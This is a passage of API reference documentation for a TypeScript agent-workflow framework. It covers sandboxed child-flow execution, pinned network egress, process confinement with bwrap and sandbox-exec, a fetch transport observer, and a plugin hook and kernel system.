| `deadline_exceeded` | The whole session outlived `ExecuteOptions.timeout`.                                                                                                  |

Messages quote the tail of the guest's stdout and stderr where they help, cut at
4 KiB and marked when they were cut. A child's typed error arrives as its tag and
its own fields, not as a stack trace into the bundle.

### `ExecuteError`

```ts
const ExecuteError: Schema.Union<[typeof SandboxedFlowError, typeof PermissionDenied]>
type ExecuteError = SandboxedFlowError | PermissionDenied
```

Every typed failure of a sandboxed execution. A child that needed a capability
the caller's ceiling does not hold fails with the kernel's own
`PermissionDenied` from `@smthrs/capability/Permission`, the same typed error a
local run of the child fails with.

### `Limits` and `ResolvedLimits`

```ts
interface Limits {
  readonly resultBytes?: number | undefined
  readonly diffBytes?: number | undefined
}

interface ResolvedLimits {
  readonly resultBytes: number
  readonly diffBytes: number
}
```

Bounds on what comes back from the guest. An omitted or `undefined` bound keeps
its default. A bound must be a non-negative safe integer; `execute` dies with a
`TypeError` that names the field before it acquires a machine when one is
`NaN`, infinite, negative, or fractional.

### `defaultLimits`

```ts
const defaultLimits: ResolvedLimits
```

| Bound         | Default | What it caps                     |
| ------------- | ------- | -------------------------------- |
| `resultBytes` | 5 MiB   | The result JSON the guest wrote. |
| `diffBytes`   | 100 MiB | The captured patch.              |

Limits are inclusive and count UTF-8 bytes, not characters. `resultBytes`
includes the complete JSON envelope. Result metadata can reject an oversized
file before transfer, and the read stops at the byte budget plus one. Native
filesystem streams receive `bytesToRead`; other providers use guest `head -c`,
which the image must supply. `diffBytes` bounds what the result carries into
the journal; the capture reads the whole patch before the bound is checked.

Guest stdout and stderr are drained concurrently with fixed-size diagnostic
tails retaining at most 4 KiB each, plus a truncation marker. Redaction runs during collection; when a credential
continues beyond a retained segment, the rest of that line is omitted. An
overlong unfinished quoted credential suppresses the rest of that stream.

### `ExecuteOptions`

| Field         | Type               | Default         | Meaning                                                                                                                                                                                                                                                                        |
| ------------- | ------------------ | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `provider`    | `Sandbox.Provider` | required        | The provider that provisions the machine. A value, never a name.                                                                                                                                                                                                               |
| `session`     | `string`           | required        | The session key the machine is acquired under. An exclusive claim: two live executions with one key share a machine, and the first to finish tears it down under the other. Reusing a key is what resume looks like.                                                           |
| `entry`       | `URL \| string`    | required        | The module to bundle: a `file:` URL or an absolute path. It must export the flow being executed, under any name, and may export `layer`, an Effect `Layer` providing the implementations of the actions the flow's body names.                                                 |
| `runtime`     | `string`           | `"node"`        | The guest executable that runs the bundle: `"node"`, `"bun"`, or an executable path. Each path is quoted as one shell word. Use a wrapper script for flags.                                                                                                                    |
| `captureWork` | `boolean`          | `false`         | Whether to capture the workdir's changes as a `Sandbox.Work`. The workdir must be the top of a git work tree with `git` on the guest's `PATH`.                                                                                                                                 |
| `limits`      | `Limits`           | `defaultLimits` | Bounds on the result and the patch.                                                                                                                                                                                                                                            |
| `timeout`     | `Duration.Input`   | 10 minutes      | The wall-clock budget for the whole session, acquisition through result readback. Uses platform timers, including chunked timers for long finite budgets. `Duration.infinity` disables the deadline; a negative duration dies with a `TypeError` before a machine is acquired. |

### `Result`

```ts
interface Result<A> {
  readonly output: A
  /** The workspace's work, or null when captureWork was off. */
  readonly work: Sandbox.Work | null
  /** The ceiling the guest enforced, as normalized any-of groups. No groups is unrestricted; null is no receipt. */
  readonly capabilityCeiling: ReadonlyArray<ReadonlyArray<CapabilityPattern>> | null
}

const CapturedWork: Schema.NullOr<typeof Sandbox.Work> // decodes a missing key as null
const EnforcedCeiling: Schema.NullOr<Schema.Array<Schema.Array<typeof CapabilityPattern>>> // decodes a missing key as null
```

`work` is `Sandbox.Work` from [`@smthrs/sandbox`](/docs/reference/api/sandbox/): `Changed`
with a `git diff --binary` patch from `base`, or `Unchanged`. It is plain
tagged JSON, so the journal records it, and `SandboxMerge.apply` lands it on
the host.
`capabilityCeiling` is the receipt of the authority the child ran under. A
result journaled before ceilings crossed the machine boundary has no receipt
and decodes as `null`, which is not a claim of unrestricted authority.

### `resultSchema` and `ResultSchema`

```ts
type ResultSchema<Success extends Schema.Top> = Schema.Struct<{
  readonly output: Success
  readonly work: typeof CapturedWork
  readonly capabilityCeiling: typeof EnforcedCeiling
}>

const resultSchema: <Success extends Schema.Top>(success: Success) => ResultSchema<Success>
```

Builds the `Result` schema over a flow's success schema. This is what a parent
flow declares as its own `success` when its body is one sandboxed call.

### `execute`

```ts
const execute: <Tag, Payload, Success, Error, Requires>(
  flow: Flow.Flow<Tag, Payload, Success, Error, Requires>,
  payload: Payload["Type"],
  options: ExecuteOptions
) => Effect<Result<Success["Type"]>, ExecuteError>
```

Runs `flow` with `payload` inside a machine `options.provider` provisions. The
session is acquired for the duration of the call and released when it returns,
so a normal completion tears the machine down and only a host crash leaves one
behind for a later execution with the same session key to reattach.

`payload` is the decoded payload, encoded through the flow's payload schema for
the wire. A value the schema's own JSON codec refuses is a programmer error and
dies, the same posture `Flow.executionId` takes.

The guest runs the child under the caller's current capability authority
intersected with the child's own declaration, and can only narrow it. See
[capability ceilings](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/docs/concepts/runner-protocol.md#capability-ceilings).

With `captureWork`, the base is the workdir's `HEAD`, resolved with
`Sandbox.resolveBase` as soon as the session is acquired, and the work is
captured with `Sandbox.capture` before the session is released. A workdir that
is not a git repository fails with `capture_failed` before the guest runs; this
replaces the stat snapshot that once listed changed files in any directory. See
[Capture the work a sandboxed child did](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/docs/guides/collect-a-workspace-diff.md).

### `SandboxedAction` and `action`

```ts
type SandboxedAction<Tag, Payload, Success> = Action.Declared<
  Tag,
  Payload,
  ResultSchema<Success>,
  typeof ExecuteError
>

function action<Tag, Payload, Success, Error, Requires, const Name extends string>(
  flow: Flow.Flow<Tag, Payload, Success, Error, Requires>,
  options: { readonly name: Name }
): SandboxedAction<Name, Payload, Success>
function action<Tag, Payload, Success, Error, Requires, const Name extends string = never>(
  flow: Flow.Flow<Tag, Payload, Success, Error, Requires>,
  options?: { readonly name?: Name | undefined }
): SandboxedAction<Name | `${Tag}/sandboxed`, Payload, Success>
```

Declares the durable action a parent flow calls to run `flow` in a sandbox. Its
payload schema is the flow's, its success schema is `resultSchema` over the
flow's, and its error schema is `ExecuteError`. The tag is
`<flow tag>/sandboxed` unless `options.name` says otherwise. Both forms preserve
the literal name, so providing one declaration's implementation cannot satisfy
a differently named declaration. An optional name retains both possible tags.

From the parent's point of view the whole sandboxed execution is one action: the
engine journals one attempt, applies one retry policy, and replays one recorded
result.

### `ExecuteContext`

```ts
interface ExecuteContext<Payload> {
  readonly payload: Payload
  readonly executionId: string
  readonly callId: string
}
```

What `toLayer` hands an options function: the decoded payload, the parent
execution's id, and the engine's invocation key as `callId`. Combine `executionId`
and `callId` for a session key exclusive to this call, including parallel calls
with identical payloads. `callId` is preserved across retries and resume.
A runtime that supplies no `Action.CurrentInvocationKey` is refused as a defect
before acquiring a session.

### `toLayer`

```ts
const toLayer: <ActionTag, Tag, Payload, Success, Error, Requires>(
  declared: SandboxedAction<ActionTag, Payload, Success>,
  flow: Flow.Flow<Tag, Payload, Success, Error, Requires>,
  options: ExecuteOptions | ((context: ExecuteContext<Payload["Type"]>) => ExecuteOptions)
) => Layer<Action.Requirement<ActionTag>, never, FlowRuntime | ...>
```

Implements an `action` declaration with `execute`. `options` is either the
placement itself or a function of the call's `ExecuteContext`:

```ts
SandboxedFlow.toLayer(RunChild, Child, ({ executionId, callId }) => ({
  provider,
  session: `child:${executionId}:${callId}`,
  entry: new URL("./child.ts", import.meta.url)
}))
```

Compose the returned layer beside `Interpreter.layer(parent)` over one
`Action.layerImplementations`, exactly as any other action implementation.

## TestNodeRuntime

```ts
import { TestNodeRuntime } from "@smthrs/platform-node"
```

[src/TestNodeRuntime.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-node/src/TestNodeRuntime.ts)

A durable Node engine over one SQLite file, for tests and examples. The
examples in `@smthrs/flows`, `@smthrs/agent` and `@smthrs/mcp` run on it.

| Export          | Signature                                          | Meaning                                                                                                                       |
| --------------- | -------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------- |
| `durableEngine` | `(filename: string, hostId: string) => Layer<...>` | `NodeRuntime.layer` over `filename`, owned as `hostId`, with the production step boundary and sandbox and the stores exposed. |
| `requirements`  | `(filename: string) => Layer<...>`                 | The same stores, boundary, and sandbox without an engine, for reading a run back or driving a private engine.                 |
| `stubJj`        | `Layer<Jj>`                                        | A Jujutsu service that records nothing. A sealed action never asks for it; a compensable one needs a real service.            |

It is not a host: it grants no capabilities and its `Jj` restores nothing. A
program uses [`NodeRuntime.layerHost`](#noderuntime).

## Reading next

[@smthrs/kernel](/docs/reference/api/kernel/) owns the closed list and decorates these same tags
with capability checks. [@smthrs/platform-bun](/docs/reference/api/platform-bun/) and
[@smthrs/platform-browser](/docs/reference/api/platform-browser/) are the sibling bundles.

## Pinned web connections

`EgressHttpClient.layer(environment)` supplies the kernel destination-pinning
contract, and it provides the name resolver that contract checks against. Web requests get a fresh dispatcher using only their authorized IP
addresses. Host and TLS server name retain the requested hostname; TLS
verification stays enabled. `HTTP_PROXY`, `HTTPS_PROXY`, and `NO_PROXY`
select the route by hostname. Proxied requests use CONNECT to the approved IP,
including plain HTTP, so the proxy cannot resolve the destination again.
A proxy must support IP tunnels; refusal never falls back to direct access.
Dispatchers close after their response body and are destroyed on failure or
cancellation. Ordinary requests without the web destination policy retain the
shared dispatcher, including local model connections.

A request whose pinned addresses include none of the family Undici asks for
fails with a `TransportError` whose `cause` is an `EgressAddressError` (`_tag`
`@smthrs/platform-node/EgressAddressError`, `code` `no_approved_address`).

Pinned web requests support HTTP and HTTPS proxies only. Other proxy schemes
fail closed. The transport sets Host from the URL and discards caller-supplied
proxy authorization and connection framing headers.

### Name resolution

`EgressHttpClient.resolveHost(hostname)` returns every address the system
resolver answers for a name: `getaddrinfo` through `node:dns`, the lookup Node
itself makes for a connection. A name the resolver does not know fails.

```ts
import { EgressHttpClient } from "@smthrs/platform-node"
import { Effect } from "effect"

const addresses = await Effect.runPromise(EgressHttpClient.resolveHost("localhost"))
```

`EgressHttpClient.layer(environment)` provides it as
[`@smthrs/kernel`](/docs/reference/api/kernel/)'s `HttpClient.ResolveHost`, beside the pinning
client. The web tools in [`@smthrs/std`](/docs/reference/api/std/) look each name up through
that reference, check every address, and hand the checked addresses to the
pinning client, so the addresses checked are the addresses the connection
uses. `NodeHost` and `@smthrs/platform-bun`'s `BunHost` install the layer, so
both get the resolver. The kernel's default `ResolveHost` refuses every name
with `HttpClient.ResolveHostUnavailable`; a composition that installs a pinning
client without this layer gets that refusal, which the web tools report as
`unsupported`.

## A model provider's fetch

`EgressHttpClient.providerFetch(environment, { connect? })` is the `fetch` a Node
model host passes as `HostModel`'s `fetch` option. It is Undici's `fetch` over a
pool of its own, in the caller's scope, that follows the environment's proxy
variables as `dispatcher` does and speaks HTTP/1.1 only. `connect` carries TLS
options such as a private provider's `ca`.

```ts
import { HostModel } from "@smthrs/model-host"
import { EgressHttpClient } from "@smthrs/platform-node"
import { Effect, Layer } from "effect"

const model = Layer.unwrap(Effect.map(
  EgressHttpClient.providerFetch(process.env),
  (fetch) => HostModel.layerConfig("CHAT_MODEL", undefined, { fetch })
))
```

Node's own `fetch` and Undici 8 negotiate HTTP/2 when an origin offers it. Once
a provider's edge tears an HTTP/2 session down, every later request to that
origin fails within milliseconds with `ERR_HTTP2_INVALID_SESSION` until the
process restarts: on Node 26.10 against `api.cerebras.ai`, about two minutes into
a stream of agent-sized calls, after a TLS `bad record mac` alert (2026-10-20).
Over HTTP/1.1 a socket the provider closed fails the one request on it
(`UND_ERR_SOCKET`), which the provider route retries on a fresh connection.

`EgressHttpClient.dispatcher(environment, { allowH2?, connect? })` takes the same
pool options; without them the pool is Undici's default.

## FetchTransport

`FetchTransport.observe(origin)` reports how far each `fetch` to one origin got
on the wire. It reads Node's own `undici` diagnostics channels, so it is Node
only. It is not a Host service: like `NodeCrypto`, it carries no host authority,
so it sits beside `NodeHost` rather than in the closed list.
`@smthrs/model-host` takes it as its `CallbackTransportObserver`, and the Node
model host passes it so a journal callback that never answers names its phase.

```ts
import { FetchTransport } from "@smthrs/platform-node"

const observer = FetchTransport.observe("https://journal.example")
const attempt = observer.begin()
await attempt.run(() => fetch("https://journal.example/commit", { method: "POST" }))
attempt.fields() // { transport: "received", reusedSocket: false, connectBegan: 1, connectEnded: 1 }
observer.close()
```

| Member             | What it does                                                                          |
| ------------------ | ------------------------------------------------------------------------------------- |
| `observe(origin)`  | subscribes to the channels and returns an `Observer` for that origin                  |
| `Observer.begin()` | starts one `Attempt`; after `close` it returns an attempt that reports `{}`           |
| `Observer.runtime` | `{ node, platform, arch }` of this process, the build that fixes the bundled `undici` |
| `Observer.close()` | stops observing; observers share one subscription, and a second `close` is ignored    |
| `Attempt.run(fn)`  | runs one request so the dispatcher's records are attributed to this attempt           |
| `Attempt.fields()` | ends the attempt and returns its `Fields`                                             |

`fields()` always carries `transport`, the `Phase` the attempt reached:

| Phase       | Meaning                                                                   |
| ----------- | ------------------------------------------------------------------------- |
| `none`      | the dispatcher never took the request                                     |
| `created`   | the dispatcher took it and has not written it to a socket                 |
| `sent`      | the request's headers are on a socket and the origin has answered nothing |
| `responded` | the origin's response headers arrived and its body has not ended          |
| `received`  | the response body ended                                                   |

It adds `reusedSocket`, the connection counts `connectBegan`, `connectEnded` and
`connectFailed` with `connectCode`, the resolution counts `lookupBegan` and
`lookupEnded` with `lookupCode`, and a failure's `errorName` and `errorCode`,
each only when there is something to report. Nothing names a path, header, body
or destination. One attempt claims one request to its own origin; another
origin's requests, and requests made outside any attempt, are attributed to
nothing. A dial that a forward proxy carried records no resolution, because the
name the socket resolved is the proxy's.

## ProcessConfinement

`ProcessConfinement.layer(options?)` provides the kernel's process confinement.
Compose it as an input to `@smthrs/kernel/ChildProcessSpawner.layer`, alongside
the same `GrantStore` and `Workspace` used for filesystem authorization. The
kernel checks approval, snapshots effective grants, and confines every pipeline
stage before spawning any stage. All `NodeHost` bundles supply this service;
a guarded spawner without it refuses execution.

`make(options?)` returns the same service directly. Options are:

| Option               | Default                | Behavior                                                                                |
| -------------------- | ---------------------- | --------------------------------------------------------------------------------------- |
| `unavailable`        | `"refuse"`             | Refuse a missing mechanism; `"unconfined"` explicitly permits execution with a warning. |
| `temporaryDirectory` | OS temporary directory | Parent for private, scope-owned temporary storage.                                      |
| `host`               | Real host probes       | Injectable mechanism selection and filesystem probes.                                   |

Linux needs `bwrap`; macOS needs `/usr/bin/sandbox-exec`. An installed mechanism
that fails to start never falls back to unconfined execution. A shell request
runs inside the wrapper, including its redirections and subprocesses. Streams,
exit codes, and cancellation retain Effect's process contract.

The profile accepts writable directory trees without broadening file grants to
their parents. A writable tree also needs read authority and write authority
for its directory entry because a writable bind exposes existing data and
metadata. Unsupported globs, partial ceilings, and ambiguous deny regions
stay closed. Networking opens only for unrestricted grants across all network
actions. Closed networking blocks socket creation. Native agent commands keep
host Unix sockets closed when IP networking opens, except the fixed macOS
system DNS resolver endpoint.
The launcher receives a minimal environment; the command's environment is
restored inside confinement without putting its values in launcher arguments.
macOS also denies delegation through host IPC services. Runtime paths and
private temporary storage are bootstrap permissions;
known host credential locations stay masked. Workspace links do not grant
reads of their external targets. This boundary does not isolate trusted host
JavaScript or supply a remote sandbox provider.

## ProcessSandbox

The build graph and `ProcessConfinement` share this mechanism implementation.
`select(request, host)`, `plan(request, location, host)`, and `wrap(plan, argv,
environment, host?)` resolve a request into an enforced command.
`seatbelt`, `bubblewrap`, and `docker` render each supported mechanism;
`host`, `validateWrites`, `environment`, `diagnose`, `isUnenforceable`, and
`unenforceable` expose its host probes, validation, environment, diagnostics,
and refusals. Requests name `network`, `reads`, and writable directory `writes`,
with optional `mechanism`, `writeFiles`, `readOnly`, `externalReads`, `strict`,
and `unixSockets`. Native agent confinement uses a strict process and IPC
policy and closes Unix sockets; build tools retain their declared policy. Build
output files may open a parent directory; agent permission profiles never use
that build-specific option.

---

# @smthrs/plugin
https://smithers.sh/docs/reference/api/plugin/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/plugin/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/plugin/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/plugin/docs)

> **Related APIs:** [`@smthrs/canonical`](/docs/reference/api/canonical/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/registry`](/docs/reference/api/registry/)

Import the declarations from the root and the four stateful modules either as
namespaces from the root or from their own subpaths:

```ts
import { engineHooks, type FlowsPlugin, make, PluginError } from "@smthrs/plugin"
import * as Config from "@smthrs/plugin/Config"
import * as Kernel from "@smthrs/plugin/Kernel"
import * as Plugins from "@smthrs/plugin/Plugins"
import * as Resolve from "@smthrs/plugin/Resolve"
```

Every function that can refuse returns `Effect<A, PluginError>`, except
`Config.merge` and `Config.deepFreeze`, which are synchronous and throw a
`PluginError`.

## Example

```ts
import { Kernel, make } from "@smthrs/plugin"

const editor = make({
  name: "flows-plugin-editor",
  hooks: { config: () => Effect.succeed({ editor: { readOnly: false } }) }
})
const kernel = await Effect.runPromise(Kernel.make([editor], {}, { target: "harness" }))
console.log(kernel.config) // { editor: { readOnly: false } }
```

## Root exports

| Export                                                                   | Kind               | Summary                                                               |
| ------------------------------------------------------------------------ | ------------------ | --------------------------------------------------------------------- |
| `FlowsHooks`                                                             | interface          | The augmentable hook catalog. Declares `config` and `configResolved`. |
| `Apply`, `FlowsPlugin`, `PluginInput`, `make`                            | from `Plugin`      | The plugin record and its constructor.                                |
| Hook kinds and type-level helpers, `engineHooks`, `handlerOf`, `orderOf` | from `Hooks`       | The hook surface.                                                     |
| `PluginErrorCode`, `PluginError`                                         | from `PluginError` | The single typed failure.                                             |
| `Config`, `Kernel`, `Plugins`, `Resolve`                                 | namespaces         | The four modules.                                                     |
| `Manifest`, `Load`, `Contribution`, `JsonSchema`, `Host`                 | namespaces         | Plugin manifests, the loader, and the host contract.                  |
| `Bind`, `When`, `Keys`                                                   | namespaces         | The binding, `when` and key grammars.                                 |

### FlowsHooks

```ts
interface FlowsHooks {
  readonly config: WaterfallHook<(config: FlowsConfig) => Effect.Effect<Partial<FlowsConfig> | void, any, never>>
  readonly configResolved: ParallelHook<(config: ResolvedConfig) => Effect.Effect<void, any, never>>
}
```

Declared in the entry point so that `declare module "@smthrs/plugin"` can
augment it. Open for augmentation, closed for dispatch: the kernel dispatches
only the config lifecycle, and a host supplies and dispatches its own catalog
over the same augmented interface.

Both startup hooks are context-free. `Kernel.make` runs them before any plugin
layer is built and supplies no services of its own, so no externally supplied
service is available during startup. A handler that needs one provides it
inside the hook with `Effect.provide`. A plugin literal whose `config` hook
requires a service fails to compile against `FlowsHooks`; a host whose startup
hooks do require services declares a separate hook interface, and
`Kernel.make<H>` then carries the requirement as `Kernel.StartupContext<H>`.

## Plugin

```ts
type Apply = "engine" | "harness" | ((config: FlowsConfig) => boolean)

interface FlowsPlugin<H = FlowsHooks> {
  readonly name: string
  readonly version?: string | undefined
  readonly enforce?: "pre" | "post" | undefined
  readonly apply?: Apply | undefined
  readonly layer?: Layer.Layer<never, any, any> | undefined
  readonly hooks?: Partial<H> | undefined
}

type PluginInput<H = FlowsHooks> =
  | FlowsPlugin<H>
  | false
  | null
  | undefined
  | ReadonlyArray<PluginInput<H>>

const make: <H = FlowsHooks>(plugin: FlowsPlugin<H>) => FlowsPlugin<H>
```

| Field     | Meaning                                                                                                                                                                             |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `name`    | Required and unique among selected plugins. Compared as an exact Unicode string, at most 256 UTF-16 code units, never empty or whitespace only. Convention: `flows-plugin-<thing>`. |
| `version` | Semantic identity folded into sealed cache keys. Required when the host declares a `cacheEnvironment`; refused as empty or malformed text.                                          |
| `enforce` | Ordering group. Omitted means normal.                                                                                                                                               |
| `apply`   | Conditional inclusion. A literal names the host target; a predicate receives the pre-resolution configuration and returns a boolean.                                                |
| `layer`   | Services this plugin contributes to the composition. Must be an Effect `Layer`.                                                                                                     |
| `hooks`   | Typed hook entries. Only keys declared in `H` compile, and only names in the host's runtime catalog resolve.                                                                        |

`make` is an identity function that pins a plugin literal to `FlowsPlugin<H>`,
so an excess or misspelled hook key fails at the definition site.
`PluginInput` accepts falsy entries and arrays nested up to
`maximumPluginDepth`, which is what makes a preset an ordinary function that
returns plugins.

## Hooks

```ts
type HookKind = "sequential" | "parallel" | "first" | "waterfall"

interface HookObject<F> {
  readonly order?: "pre" | "post" | undefined
  readonly handler: F
}

type HookEntry<K extends HookKind, F> = (F | HookObject<F>) & HookMeta<K, F>

type SequentialHook<F> = HookEntry<"sequential", F>
type ParallelHook<F> = HookEntry<"parallel", F>
type FirstHook<F> = HookEntry<"first", F>
type WaterfallHook<F> = HookEntry<"waterfall", F>
```

`HookMeta<K, F>` is a phantom carrier: it records the kind and the handler type
in the type system and adds nothing at runtime. A hook entry is either the bare
handler or the `{ order, handler }` object; `undefined` and `null` are refused.

Type-level helpers, used by the dispatcher's signatures and available to hosts:

| Helper             | Extracts                                                                                                               |
| ------------------ | ---------------------------------------------------------------------------------------------------------------------- |
| `KindOf<T>`        | The declared kind of a hook entry type.                                                                                |
| `HandlerOf<T>`     | The handler function type.                                                                                             |
| `KeysOfKind<H, K>` | The hook names of kind `K` in interface `H`.                                                                           |
| `ArgsOf<T>`        | The positional argument tuple the handler accepts.                                                                     |
| `ReturnOf<T>`      | The Effect the handler returns.                                                                                        |
| `SuccessOf<T>`     | That Effect's success value.                                                                                           |
| `ContextOf<T>`     | That Effect's required context.                                                                                        |
| `HookCatalog<H>`   | The runtime catalog for `H`: a name declared in `H` must carry the kind its type declares; other names admit any kind. |

Values:

```ts
const engineHooks: Readonly<{ readonly config: "waterfall"; readonly configResolved: "parallel" }>
const handlerOf: (entry: unknown) => (...args: Array<any>) => unknown
const orderOf: (entry: unknown) => "pre" | "post" | undefined
```

`engineHooks` is the frozen runtime catalog for the shared configuration hooks,
and the catalog `Resolve.resolve` checks against when a host supplies none.
Spread it into your own catalog to keep the config lifecycle available.
`handlerOf` and `orderOf` normalize either hook entry form.

## Kernel

```ts
interface Kernel<H = FlowsHooks> {
  readonly plugins: Plugins.Service<H>
  readonly config: ResolvedConfig
  readonly layer: Layer.Layer<any, PluginError, any>
  readonly observerErrors: ReadonlyArray<PluginError>
}

type ConfigContext<H> = ContextOf<H["config"]>
type StartupContext<H> = ConfigContext<H> | ContextOf<H["configResolved"]>

const make: <H = FlowsHooks>(
  input: PluginInput<NoInfer<H>>,
  config?: FlowsConfig,
  options?: Omit<Resolve.Options<NoInfer<H>>, "config">
) => Effect.Effect<Kernel<H>, PluginError, StartupContext<H>>

const runConfig: <H = FlowsHooks>(
  plugins: Plugins.Service<H>,
  config: FlowsConfig
) => Effect.Effect<ResolvedConfig, PluginError, ConfigContext<H>>
```

`StartupContext<H>` is `never` for `FlowsHooks`, whose startup hooks are
context-free, so `Kernel.make([...])` runs with `Effect.runPromise` as is. For a
separate hook interface whose `config` or `configResolved` handlers require
services, the requirement is the startup Effect's context and the caller
provides it before running; the kernel never supplies startup services itself.

`make` performs startup in this order:

1. Snapshot the positional `config`.
2. Resolve the plugin list against `options`.
3. Run the `config` waterfall, deep-merging each returned patch.
4. Decode and freeze the result into a `ResolvedConfig`.
5. Run `configResolved` observers in parallel, collecting their failures into
   `observerErrors` rather than failing.
6. Merge the selected plugins' layers, left to right in resolved order.

The positional `config` is the kernel's only pre-resolution configuration
source. `Options.config` is excluded from the options type so a caller cannot
declare a second one, and a `config` key smuggled past the type fails at
runtime with `invalid_plugin` at `$options.config`, the same refusal an
unknown option key gets. `runConfig` exposes step 3 and step 4 on their own, for a
host that resolved its plugin list separately. Before dispatching the first
hook, it validates and copies the supplied config into a detached, recursively
frozen snapshot. Invalid or accessor-bearing input fails with `config_invalid`
before any hook runs, without executing accessors. The final waterfall result
is admitted again through `Config.resolve`.

`observerErrors` is a return value, not a log: a `configResolved` failure never
fails startup, so a host that ignores the array cannot tell a working observer
from a broken one.

## Plugins

```ts
interface Service<H = FlowsHooks> {
  readonly resolved: Resolved<H>
  readonly handlers: (hook: string) => ReadonlyArray<HandlerRecord>

  readonly sequential: <K extends KeysOfKind<H, "sequential">>(
    hook: K,
    ...args: ArgsOf<H[K]>
  ) => Effect.Effect<ReadonlyArray<SuccessOf<H[K]>>, PluginError, ContextOf<H[K]>>

  readonly parallel: <K extends KeysOfKind<H, "parallel">>(
    hook: K,
    ...args: ArgsOf<H[K]>
  ) => Effect.Effect<ReadonlyArray<PluginError>, never, ContextOf<H[K]>>

  readonly first: <K extends KeysOfKind<H, "first">>(
    hook: K,
    ...args: ArgsOf<H[K]>
  ) => Effect.Effect<SuccessOf<H[K]>, PluginError, ContextOf<H[K]>>

  readonly waterfall: <K extends KeysOfKind<H, "waterfall">>(
    hook: K,
    initial: ArgsOf<H[K]>[0],
    merge: (previous: ArgsOf<H[K]>[0], patch: Exclude<SuccessOf<H[K]>, void>) => ArgsOf<H[K]>[0]
  ) => Effect.Effect<ArgsOf<H[K]>[0], PluginError, ContextOf<H[K]>>
}

const make: <H = FlowsHooks>(resolved: Resolved<H>) => Service<H>
const makeNoop: <H = FlowsHooks>() => Service<H>

class Plugins extends Context.Service<Plugins, Service>()("flows/plugin/Plugins") {}
const layer: (resolved: Resolved) => Layer.Layer<Plugins>
const layerNoop: Layer.Layer<Plugins>
```

Dispatch semantics, one row per kind:

| Method       | Runs                                                      | Returns                                                                | On handler failure                                                               |
| ------------ | --------------------------------------------------------- | ---------------------------------------------------------------------- | -------------------------------------------------------------------------------- |
| `sequential` | Every handler, in resolved order, one at a time.          | Each handler's success value, in resolved order.                       | Fails the caller with `hook_failed` and stops.                                   |
| `parallel`   | Every handler, bounded by `Resolved.parallelConcurrency`. | The failures, in resolved handler order. Success values are discarded. | Never fails the caller.                                                          |
| `first`      | Handlers in order until one returns `Option.some`.        | That `Option`, or `Option.none()`.                                     | Fails with `hook_failed`; a non-`Option` value fails with `invalid_hook_result`. |
| `waterfall`  | Every handler, threading the merged value.                | The final value.                                                       | Fails with `hook_failed` and stops.                                              |

Every method first compares its kind with the runtime catalog the resolution
admitted (`Resolved.kinds`). A hook the catalog declares with a different kind
is refused before any handler runs: `sequential`, `first`, and `waterfall` fail
with `hook_kind_mismatch`, and `parallel` returns that one error. A hook name
absent from the catalog dispatches nothing, unless a hand-built `Resolved`
registered handlers under it; those are refused the same way, because no kind
was declared for them. The typed signatures make the mismatch unreachable
without a cast; the runtime check covers the cast.

Handlers must return an Effect. Synchronous throws, Effect failures and defects,
and non-Effect results (including `undefined`, scalars, and Promises) become
`hook_failed` with the plugin and hook names. Non-Effect error messages include
the result's JavaScript `typeof`. Parallel dispatch collects these errors and
continues running sibling observers, including with `parallelConcurrency: 1`.
`Kernel.make` succeeds and reports them in `observerErrors`. Sequential dispatch
fails with the attributed error and skips later handlers.

A waterfall handler whose Effect succeeds with `undefined` leaves the value
unchanged: the merge function is not called. A merge that throws a `PluginError` keeps that
error's code and path and gains the handler's attribution; a merge that throws
anything else becomes `config_invalid` attributed to the handler.

Cancellation is fiber interruption through scope closure. Nothing threads an
`AbortSignal`. Interrupting a dispatch interrupts the handler in flight, runs
its finalizers, and skips the handlers that had not started.

The `Plugins` service tag, `layer`, and `layerNoop` hold one dispatcher over the
process-wide augmented `FlowsHooks`. A host typed against a separate hook
interface holds its `Service<H>` directly and uses none of the three.

## Resolve

```ts
interface HandlerRecord {
  readonly plugin: string
  readonly hook: string
  readonly handler: (...args: Array<any>) => unknown
}

interface Resolved<H = FlowsHooks> {
  readonly plugins: ReadonlyArray<FlowsPlugin<H>>
  readonly handlers: ReadonlyMap<string, ReadonlyArray<HandlerRecord>>
  readonly kinds: Readonly<Record<string, HookKind>>
  readonly parallelConcurrency: number
  readonly cacheEnvironment?: Action.CacheEnvironment | undefined
}

interface Options<H = FlowsHooks> {
  readonly config?: FlowsConfig | undefined
  readonly target?: "engine" | "harness" | undefined
  readonly hooks?: HookCatalog<H> | undefined
  readonly cacheEnvironment?: Action.CacheEnvironment | undefined
  readonly parallelConcurrency?: number | undefined
}

const resolve: <H = FlowsHooks>(
  input: PluginInput<NoInfer<H>>,
  options?: Options<NoInfer<H>>,
  configOverride?: FlowsConfig
) => Effect.Effect<Resolved<H>, PluginError>

const layer: <H>(resolved: Resolved<H>) => Layer.Layer<any, PluginError, any>
```

| Option                | Default       | Meaning                                                                                                                                                                                                                                                                                                      |
| --------------------- | ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `config`              | `{}`          | Pre-resolution configuration tested by `apply` predicates. `Kernel.make` supplies it positionally and omits this field. Supplying both `config` and `configOverride` fails with `invalid_plugin` at `$options.config`.                                                                                       |
| `target`              | `"engine"`    | The host whose literal `apply` selectors are active.                                                                                                                                                                                                                                                         |
| `hooks`               | `engineHooks` | The hook names and kinds this host recognizes, typed as `HookCatalog<H>`. The `unknown_hook` guard checks against it, the frozen copy is `Resolved.kinds`, and `config` or `configResolved` labelled with any kind but `waterfall` or `parallel` fails with `hook_kind_mismatch` at `$options.hooks.<name>`. |
| `cacheEnvironment`    | absent        | Complete composition identity for sealed activity keys. Requires a `version` on every selected plugin.                                                                                                                                                                                                       |
| `parallelConcurrency` | `16`          | Maximum observers run at once. A positive safe integer through 256.                                                                                                                                                                                                                                          |

`resolve` is once-only and everything it returns is a copy the kernel owns.
